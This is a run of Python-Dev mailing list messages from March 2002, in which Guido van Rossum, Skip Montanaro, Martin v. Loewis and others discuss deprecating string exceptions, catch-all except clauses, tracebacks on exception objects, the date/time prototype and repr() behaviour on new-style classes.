> exceptions are primarily instances of Exception" - yet in this case,
> Base is the primary class, and Exception is just a mix-in that plays
> no further role in this case of exception handling.

I have never heard of the concept "primarily an instance of".  I also
don't understand why that should be the rule.

> If you want to allow Base in the except clause, but do allow Base as
                 ^^^^^
Did you mean "disallow"?

> the base class of MyExc, I'd be curious what run-time semantics you'd
> associate with this example.

See above.

Before we waste more time on this, let me explain why I like the rule
that all exception classes be derived from Exception.  It's only a
vague liking, and maybe it's not worth making it a rule.  I like it
because including Exception (or one of its well-known subclasses) in
the base class is a clue to the reader that a particular class
declaration is used as an exception.  AFAIK this is the only reason
why Java has a similar rule; C++ does not, and lets you throw any
class.

I can't see any implementation benefits from the requirement.  It
sounds like you can't either -- or else you would have pointed them
out by now.  So maybe we shouldn't bother with this rule, and then we
should take the recommendation out of the documentation.  But I still
kind of like it, for the reason I explained in the previous paragraph.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jacobs@penguin.theopalgroup.com  Thu Mar 28 13:06:55 2002
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Thu, 28 Mar 2002 08:06:55 -0500 (EST)
Subject: [Python-Dev] Status of Python Date/Time proposal?
Message-ID: <Pine.LNX.4.44.0203280804160.18377-100000@penguin.theopalgroup.com>

Hi all,

I've been reading the Python Date/Time design Wiki, and was wondering how
all of those issues were shaking out.  Specifically, how final is the
current prototype, and what are the outstanding issues yet to be resolved?

Thanks,
-Kevin

--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From guido@python.org  Thu Mar 28 13:29:13 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 08:29:13 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Thu, 28 Mar 2002 07:59:58 EST."
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de> <15522.40314.222139.796707@anthem.wooz.org> <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>

[me]
> Before we waste more time on this, let me explain why I like the rule
> that all exception classes be derived from Exception.  It's only a
> vague liking, and maybe it's not worth making it a rule.  I like it
> because including Exception (or one of its well-known subclasses) in
> the base class is a clue to the reader that a particular class
> declaration is used as an exception.  AFAIK this is the only reason
> why Java has a similar rule; C++ does not, and lets you throw any
> class.
> 
> I can't see any implementation benefits from the requirement.  It
> sounds like you can't either -- or else you would have pointed them
> out by now.  So maybe we shouldn't bother with this rule, and then we
> should take the recommendation out of the documentation.  But I still
> kind of like it, for the reason I explained in the previous paragraph.

One other, more practical reason to like the rule: "except Exception:"
would become equivalent to "except:".  The advantage is that you can
then write "except Exception, e:" and catch the exception instance in
a local variable without having to call sys.exc_info().

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 28 13:42:49 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 08:42:49 -0500
Subject: [Python-Dev] Status of Python Date/Time proposal?
In-Reply-To: Your message of "Thu, 28 Mar 2002 08:06:55 EST."
 <Pine.LNX.4.44.0203280804160.18377-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0203280804160.18377-100000@penguin.theopalgroup.com>
Message-ID: <200203281342.g2SDgn403708@pcp742651pcs.reston01.va.comcast.net>

> I've been reading the Python Date/Time design Wiki, and was
> wondering how all of those issues were shaking out.  Specifically,
> how final is the current prototype, and what are the outstanding
> issues yet to be resolved?

I'm beginning to be pretty happy with the prototype; all of the
remaining issues are relatively minor IMO.  In particular, I'm happy
with how the new approach to timezone support is working out, and with
the idea of making "naive time" the default, rather than local time.

Here's an incomplete list of issues, off the top of my mind:

- I'm beginning to have doubts about Effbot's proposed basetime
  interface, and am tempted to rip it out.

- I'm beginning to think that instead of separate types datetime
  (naive time) datetime and datetimetz (timezone/DST-aware), it might
  be just as well to have a single type that behaves like the
  datetimetz prototype: it falls back to naive time when you don't
  specify a tzinfo argument.  We're going to try this in the C version.

- Pickling isn't implemented yet.

- The date type needs to grow a few methods (to be inherited by
  datetime of course) to do things like "last Friday of the month".

- The datetime methods whose name starts with 'utc' should probably be
  ripped out.

- There are a bunch of methods and constructors that I don't think are
  very useful.  (E.g. the fromordinal() constructors are unused.)

- There's no API for conversion between timezones yet.  I'm thinking
  of t.astimezone(tz) which returns an object that represents the same
  UTC timepoint as t, but has tz for its tzinfo.  If t has no tzinfo,
  (i.e. is naive time), this would do something slightly different: it
  would create a new object whose year, month, day, hour, minute,
  second, and microsecond attributes were equal to t's, and whose
  tzinfo attribute was tz.  (I consider that different because naive
  time doesn't represent a UTC timepoint.)

- There's no documentation.  (There is an extensive test suite,
  though.)

- Fred's still working on the C version.  Among other things, he's got
  to separate the date and datetime(tz) types.  I foresee no
  roadblocks -- however, it's slow going because other priorities keep
  popping up (like documenting how to create new-style types in C).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From walter@livinglogic.de  Thu Mar 28 13:50:14 2002
From: walter@livinglogic.de (=?ISO-8859-15?Q?Walter_D=F6rwald?=)
Date: Thu, 28 Mar 2002 14:50:14 +0100
Subject: R: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de> <15522.40314.222139.796707@anthem.wooz.org>              <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de> <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3CA31F96.7000602@livinglogic.de>

Guido van Rossum wrote:

 > [...]
 >
> Before we waste more time on this, let me explain why I like the rule
> that all exception classes be derived from Exception.  It's only a
> vague liking, and maybe it's not worth making it a rule.  I like it
> because including Exception (or one of its well-known subclasses) in
> the base class is a clue to the reader that a particular class
> declaration is used as an exception.  AFAIK this is the only reason
> why Java has a similar rule; C++ does not, and lets you throw any
> class.
> 
> I can't see any implementation benefits from the requirement.

The traceback object could be part of the exception object, just like
Java does it. When we have an exception that wraps another exception,
both tracebacks would then be available.

That's not exactly an implementation benefit, but an application
benefit.

-- 
Walter Dörwald · LivingLogic AG, Bayreuth/Germany · www.livinglogic.de



From gmcm@hypernet.com  Thu Mar 28 13:55:12 2002
From: gmcm@hypernet.com (Gordon McMillan)
Date: Thu, 28 Mar 2002 08:55:12 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
References: Your message of "Thu, 28 Mar 2002 07:59:58 EST." <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3CA2DA70.15257.23A7F51C@localhost>

On 28 Mar 2002 at 8:29, Guido van Rossum wrote:

> One other, more practical reason to like the rule:
> "except Exception:" would become equivalent to
> "except:".  The advantage is that you can then
> write "except Exception, e:" and catch the exception
> instance in a local variable without having to call
> sys.exc_info(). 

Which, to my mind, is sufficient to justify the rule.

Hmm. If the rule were (eventually) strictly enforced,
could we get the C++-style "stack allocated object
whose destructor releases the resource" trick working?

(Which would allow killing off the recurrent "with" /
"using" thread.)

-- Gordon
http://www.mcmillan-inc.com/



From guido@python.org  Thu Mar 28 13:57:24 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 08:57:24 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Thu, 28 Mar 2002 14:50:14 +0100."
 <3CA31F96.7000602@livinglogic.de>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de> <15522.40314.222139.796707@anthem.wooz.org> <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de> <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <3CA31F96.7000602@livinglogic.de>
Message-ID: <200203281357.g2SDvOc03788@pcp742651pcs.reston01.va.comcast.net>

> The traceback object could be part of the exception object, just like
> Java does it. When we have an exception that wraps another exception,
> both tracebacks would then be available.

I think you can do this now, though not in a standard way: the
wrapping exception would have to retrieve the traceback using
sys.exc_info(), and then store it as an instance variable.

> That's not exactly an implementation benefit, but an application
> benefit.

That's OK; I like application benefits better than implementation
benefits to motivate feature!

Maybe we should try to migrate to doing it this way in the future.
With the traceback in the exception object, there's no need to call
sys.exc_info() any more!

It does mean that the exception object gets modified as it is passed
along from frame to frame searching for an exception handler,
accumulating traceback info.  I think that's fine.

If people like this idea enough, perhaps it could be PEPped?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 28 14:43:55 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 09:43:55 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Thu, 28 Mar 2002 08:55:12 EST."
 <3CA2DA70.15257.23A7F51C@localhost>
References: Your message of "Thu, 28 Mar 2002 07:59:58 EST." <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <3CA2DA70.15257.23A7F51C@localhost>
Message-ID: <200203281443.g2SEhtQ28489@odiug.zope.com>

> Which, to my mind, is sufficient to justify the rule.

And also to mine.  (Barry, take note for the PEP. :-)

> Hmm. If the rule were (eventually) strictly enforced,
> could we get the C++-style "stack allocated object
> whose destructor releases the resource" trick working?

(a) I'm not sure I like to make that semantics official, since it's
    hard to implement e.g. in Jython.

(b) I'm having another dense day.  How would requiring exceptions to
    inherit from Exception make this easier?

> (Which would allow killing off the recurrent "with" /
> "using" thread.)

In c.l.py?  I'm not aware of it.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Thu Mar 28 15:01:48 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 28 Mar 2002 09:01:48 -0600
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15523.12380.586153.516341@12-248-41-177.client.attbi.com>

    Guido> One other, more practical reason to like the rule: "except
    Guido> Exception:" would become equivalent to "except:".  

Just to make sure I'm not missing something (I probably am), I still think
the recommended catch-all except construct should become "except
StandardError:" with KeyboardInterrupt migrated to inherit from Exception
instead of StandardError.

Skip



From guido@python.org  Thu Mar 28 15:11:17 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 10:11:17 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Thu, 28 Mar 2002 09:01:48 CST."
 <15523.12380.586153.516341@12-248-41-177.client.attbi.com>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de> <15522.40314.222139.796707@anthem.wooz.org> <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de> <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net> <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
 <15523.12380.586153.516341@12-248-41-177.client.attbi.com>
Message-ID: <200203281511.g2SFBHx28682@odiug.zope.com>

> Just to make sure I'm not missing something (I probably am), I still think
> the recommended catch-all except construct should become "except
> StandardError:" with KeyboardInterrupt migrated to inherit from Exception
> instead of StandardError.

I think I didn't pay attention when that was being discussed before.
I definitely don't like to make "except:" mean anyting besides "catch
*all* exceptions."

There are too many different use cases to favor a specific
non-obvious; for example, the runcode() method in class
InteractiveInterpreter() in code.py needs to catch all exceptions
including KeyboardInterrupt but excluding SystemExit.  Also note that
StopIteration and the warning categories don't derive from
StandardError; but if any of these is accidentally raised, I'd want my
"except:" clause to catch it!  And, while sometimes it's confusing
that SystemExit is caught by "except:", it's really hard to debug why
your program exits without any warning or traceback when a rogue
library function raises SystemExit.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From barry@zope.com  Thu Mar 28 15:14:26 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 28 Mar 2002 10:14:26 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <3CA31F96.7000602@livinglogic.de>
 <200203281357.g2SDvOc03788@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15523.13138.295071.311594@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> Maybe we should try to migrate to doing it this way in the
    GvR> future.  With the traceback in the exception object, there's
    GvR> no need to call sys.exc_info() any more!

    GvR> If people like this idea enough, perhaps it could be PEPped?

I like this idea too, and would be happy to add it to the eventual
Exceptions Uber-PEP.  Maybe it should be a separate PEP though?

-Barry


From oren-py-d@hishome.net  Thu Mar 28 15:20:07 2002
From: oren-py-d@hishome.net (Oren Tirosh)
Date: Thu, 28 Mar 2002 10:20:07 -0500
Subject: [Python-Dev] repr(x) != x.__repr__()
Message-ID: <20020328152007.GA60857@hishome.net>

This phenomenon is not really specific to repr(). It occurs with new-style 
classes when methods are assigned.  

Example:

class A(object):
  def __repr__(self):
    return 'abc'

>>>a = A()
>>>a.__repr__ = lambda: 'abc'
>>>repr(a)
'abc'
>>>a.__repr__()
'123'

Whenever the method is accessed by Python code it sees the assigned method
in the object's __dict__.  Builtins like repr(), iter() etc, see the
original class method.  With classic objects both Python and C code see the 
assigned function.  This is bug #515336 on sourceforge.

Is anyone aware of any other cases where C code and Python code don't see 
objects the same way?

	Oren



From guido@python.org  Thu Mar 28 15:18:30 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 10:18:30 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Thu, 28 Mar 2002 10:14:26 EST."
 <15523.13138.295071.311594@anthem.wooz.org>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de> <15522.40314.222139.796707@anthem.wooz.org> <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de> <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net> <3CA31F96.7000602@livinglogic.de> <200203281357.g2SDvOc03788@pcp742651pcs.reston01.va.comcast.net>
 <15523.13138.295071.311594@anthem.wooz.org>
Message-ID: <200203281518.g2SFIU028761@odiug.zope.com>

>     GvR> Maybe we should try to migrate to doing it this way in the
>     GvR> future.  With the traceback in the exception object, there's
>     GvR> no need to call sys.exc_info() any more!
> 
>     GvR> If people like this idea enough, perhaps it could be PEPped?
> 
> I like this idea too, and would be happy to add it to the eventual
> Exceptions Uber-PEP.  Maybe it should be a separate PEP though?

No, just add sections to the one PEP.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From martin@v.loewis.de  Thu Mar 28 15:25:56 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 28 Mar 2002 16:25:56 +0100
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <15523.12380.586153.516341@12-248-41-177.client.attbi.com>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
 <15523.12380.586153.516341@12-248-41-177.client.attbi.com>
Message-ID: <m3g02k1zp7.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip@pobox.com> writes:

>     Guido> One other, more practical reason to like the rule: "except
>     Guido> Exception:" would become equivalent to "except:".  
> 
> Just to make sure I'm not missing something (I probably am), I still think
> the recommended catch-all except construct should become "except
> StandardError:" with KeyboardInterrupt migrated to inherit from Exception
> instead of StandardError.

That is indeed a different issue. If you want to catch everything
(including KeyboardInterrupt), you need an except: clause, in which
case it is difficult to get at the exception object.

Regards,
Martin



From martin@v.loewis.de  Thu Mar 28 15:24:03 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 28 Mar 2002 16:24:03 +0100
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3k7rw1zsc.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> I can't see any implementation benefits from the requirement.  It
> sounds like you can't either

If the requirement was extended to disallow multiple root classes, it
would disambiguate the case of the class Z(str,Exception): It would be
an error to raise an exception of class Z. Classes that only inherit
from str would continue to operate as string exceptions, classes that
inherit from Exception would be caught by their type - you couldn't
have a class that is both.

Regards,
Martin



From skip@pobox.com  Thu Mar 28 15:33:51 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 28 Mar 2002 09:33:51 -0600
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203281511.g2SFBHx28682@odiug.zope.com>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
 <15523.12380.586153.516341@12-248-41-177.client.attbi.com>
 <200203281511.g2SFBHx28682@odiug.zope.com>
Message-ID: <15523.14303.294454.831541@12-248-41-177.client.attbi.com>

>>>>> "Guido" == Guido van Rossum <guido@python.org> writes:

    >> Just to make sure I'm not missing something (I probably am), I still
    >> think the recommended catch-all except construct should become
    >> "except StandardError:" with KeyboardInterrupt migrated to inherit
    >> from Exception instead of StandardError.

    Guido> I think I didn't pay attention when that was being discussed
    Guido> before.  I definitely don't like to make "except:" mean anyting
    Guido> besides "catch *all* exceptions."

I agree with you.  But much of the time, as http://python.org/sf/411881
demonstrates, "except:" is the wrong answer.  If someone wants to catch
"everything", they actually don't want to catch SystemExit or
KeyboardInterrupt most of the time.  That leads to code like

    try:
        fragile_code
    except (KeyboardInterrupt,SystemExit):
        raise
    except:
        handle_stuff_we_can

or, with your suggestion:

    try:
        fragile_code
    except (KeyboardInterrupt,SystemExit):
        raise
    except Exception, e:
        handle_stuff_we_can

How often (percentage-wise) do you see that as the catch-all construct?  If
KeyboardInterrupt inherited from Exception, the above could become:

    try:
        fragile_code
    except StandardError, e:
        handle_stuff_we_can

which is much more likely for lazy programmers to write than the first two
constructs.  (Yes, the laziest people will still use "except:".)  All I'm
suggesting is that the recommended usage change slightly.  (I guess I'd also
vote that all exceptions inherit from Exception...)

    Guido> There are too many different use cases to favor a specific
    Guido> non-obvious; for example, the runcode() method in class
    Guido> InteractiveInterpreter() in code.py needs to catch all exceptions
    Guido> including KeyboardInterrupt but excluding SystemExit.  Also note
    Guido> that StopIteration and the warning categories don't derive from
    Guido> StandardError; but if any of these is accidentally raised, I'd
    Guido> want my "except:" clause to catch it!  And, while sometimes it's
    Guido> confusing that SystemExit is caught by "except:", it's really
    Guido> hard to debug why your program exits without any warning or
    Guido> traceback when a rogue library function raises SystemExit.

A couple comments on this:

    * I'm not saying you can't use "except:".  I'm not advocating a semantic
      change to the meaning of "except:".  (I am suggesting that
      KeyboardInterrupt should not inherit from StandardError.)  I'm saying
      that the recommended usage for application programmers should be to
      avoid it.

    * Special situations will always remain.  The point I'm trying to make
      is that we should make it easier for application programmers to write
      good code.  I don't think specialized standard library code should be
      held up as typical usage.  I'd prefer to have to modify pick over the
      entire standard library (as I'm already doing) and have it be easier
      for Joe Programmer to write robust application code than for code.py
      to be easier to write and have JP naively write less robust code.

    * I would hope there are no "rogue" functions in the standard library.
      If so, we should fix them.  As to other people's libraries, we can't
      do much.  SystemExit is a well-defined way to exit the program.  If
      the rogue programmer felt SystemExit was called for at that point,
      that's between him and the person using his code.

Skip


From guido@python.org  Thu Mar 28 15:28:12 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 10:28:12 -0500
Subject: [Python-Dev] repr(x) != x.__repr__()
In-Reply-To: Your message of "Thu, 28 Mar 2002 10:20:07 EST."
 <20020328152007.GA60857@hishome.net>
References: <20020328152007.GA60857@hishome.net>
Message-ID: <200203281528.g2SFSCp28873@odiug.zope.com>

> This phenomenon is not really specific to repr(). It occurs with
> new-style classes when methods are assigned.
> 
> Example:
> 
> class A(object):
>   def __repr__(self):
>     return 'abc'
> 
> >>>a = A()
> >>>a.__repr__ = lambda: 'abc'

You meant '123' there. :-)

> >>>repr(a)
> 'abc'
> >>>a.__repr__()
> '123'
> 
> Whenever the method is accessed by Python code it sees the assigned
> method in the object's __dict__.  Builtins like repr(), iter() etc,
> see the original class method.  With classic objects both Python and
> C code see the assigned function.  This is bug #515336 on
> sourceforge.

I'm probably going to reject this bug as "won't fix".  I specifically
put code in the new classes to create this behavior.  It's partly a
performance hack: many operations become much slower if they have to
check the instance __dict__ first.  But I also believe it's poor
style to override a system operation on the instance rather than on
the class.  If you want to be able to override behavior per instance,
use this:

  class A(object):
    def __repr__(self):
      return self.repr()
    def repr(self):
      return 'abc'

  a = A()
  a.repr = lambda: '123'
  assert repr(a) == a.__repr__() == '123'

> Is anyone aware of any other cases where C code and Python code
> don't see objects the same way?

Yes, a+b is not the same as a.__add__(b).  a[i:j] is not the same as
a.__getslice__(i, j).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 28 15:33:47 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 10:33:47 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "28 Mar 2002 16:24:03 +0100."
 <m3k7rw1zsc.fsf@mira.informatik.hu-berlin.de>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de> <15522.40314.222139.796707@anthem.wooz.org> <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de> <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <m3k7rw1zsc.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203281533.g2SFXl328995@odiug.zope.com>

> Guido van Rossum <guido@python.org> writes:
> 
> > I can't see any implementation benefits from the requirement.  It
> > sounds like you can't either
> 
> If the requirement was extended to disallow multiple root classes, it
> would disambiguate the case of the class Z(str,Exception): It would be
> an error to raise an exception of class Z. Classes that only inherit
> from str would continue to operate as string exceptions, classes that
> inherit from Exception would be caught by their type - you couldn't
> have a class that is both.
> 
> Regards,
> Martin

Yeah, but that's only a backwards compatibility hack.  Eventually,
string exceptions will be illegal, and then I don't see a good reason
why exceptions couldn't derive from multiple classes.  So I don't want
to start with such a restriction.  I'd rather continue to special-case
string exceptions.

There's no reason why in your example, the exception couldn't match
both Exception and a string.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 28 15:39:14 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 10:39:14 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Thu, 28 Mar 2002 09:33:51 CST."
 <15523.14303.294454.831541@12-248-41-177.client.attbi.com>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de> <15522.40314.222139.796707@anthem.wooz.org> <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de> <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net> <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net> <15523.12380.586153.516341@12-248-41-177.client.attbi.com> <200203281511.g2SFBHx28682@odiug.zope.com>
 <15523.14303.294454.831541@12-248-41-177.client.attbi.com>
Message-ID: <200203281539.g2SFdFr29053@odiug.zope.com>

>     Guido> I think I didn't pay attention when that was being discussed
>     Guido> before.  I definitely don't like to make "except:" mean anyting
>     Guido> besides "catch *all* exceptions."

[Skip]
> I agree with you.  But much of the time, as http://python.org/sf/411881
> demonstrates, "except:" is the wrong answer.  If someone wants to catch
> "everything", they actually don't want to catch SystemExit or
> KeyboardInterrupt most of the time.  That leads to code like
> 
>     try:
>         fragile_code
>     except (KeyboardInterrupt,SystemExit):
>         raise
>     except:
>         handle_stuff_we_can
> 
> or, with your suggestion:
> 
>     try:
>         fragile_code
>     except (KeyboardInterrupt,SystemExit):
>         raise
>     except Exception, e:
>         handle_stuff_we_can
> 
> How often (percentage-wise) do you see that as the catch-all
> construct?  If KeyboardInterrupt inherited from Exception, the above
> could become:
> 
>     try:
>         fragile_code
>     except StandardError, e:
>         handle_stuff_we_can
> 
> which is much more likely for lazy programmers to write than the
> first two constructs.  (Yes, the laziest people will still use
> "except:".)  All I'm suggesting is that the recommended usage change
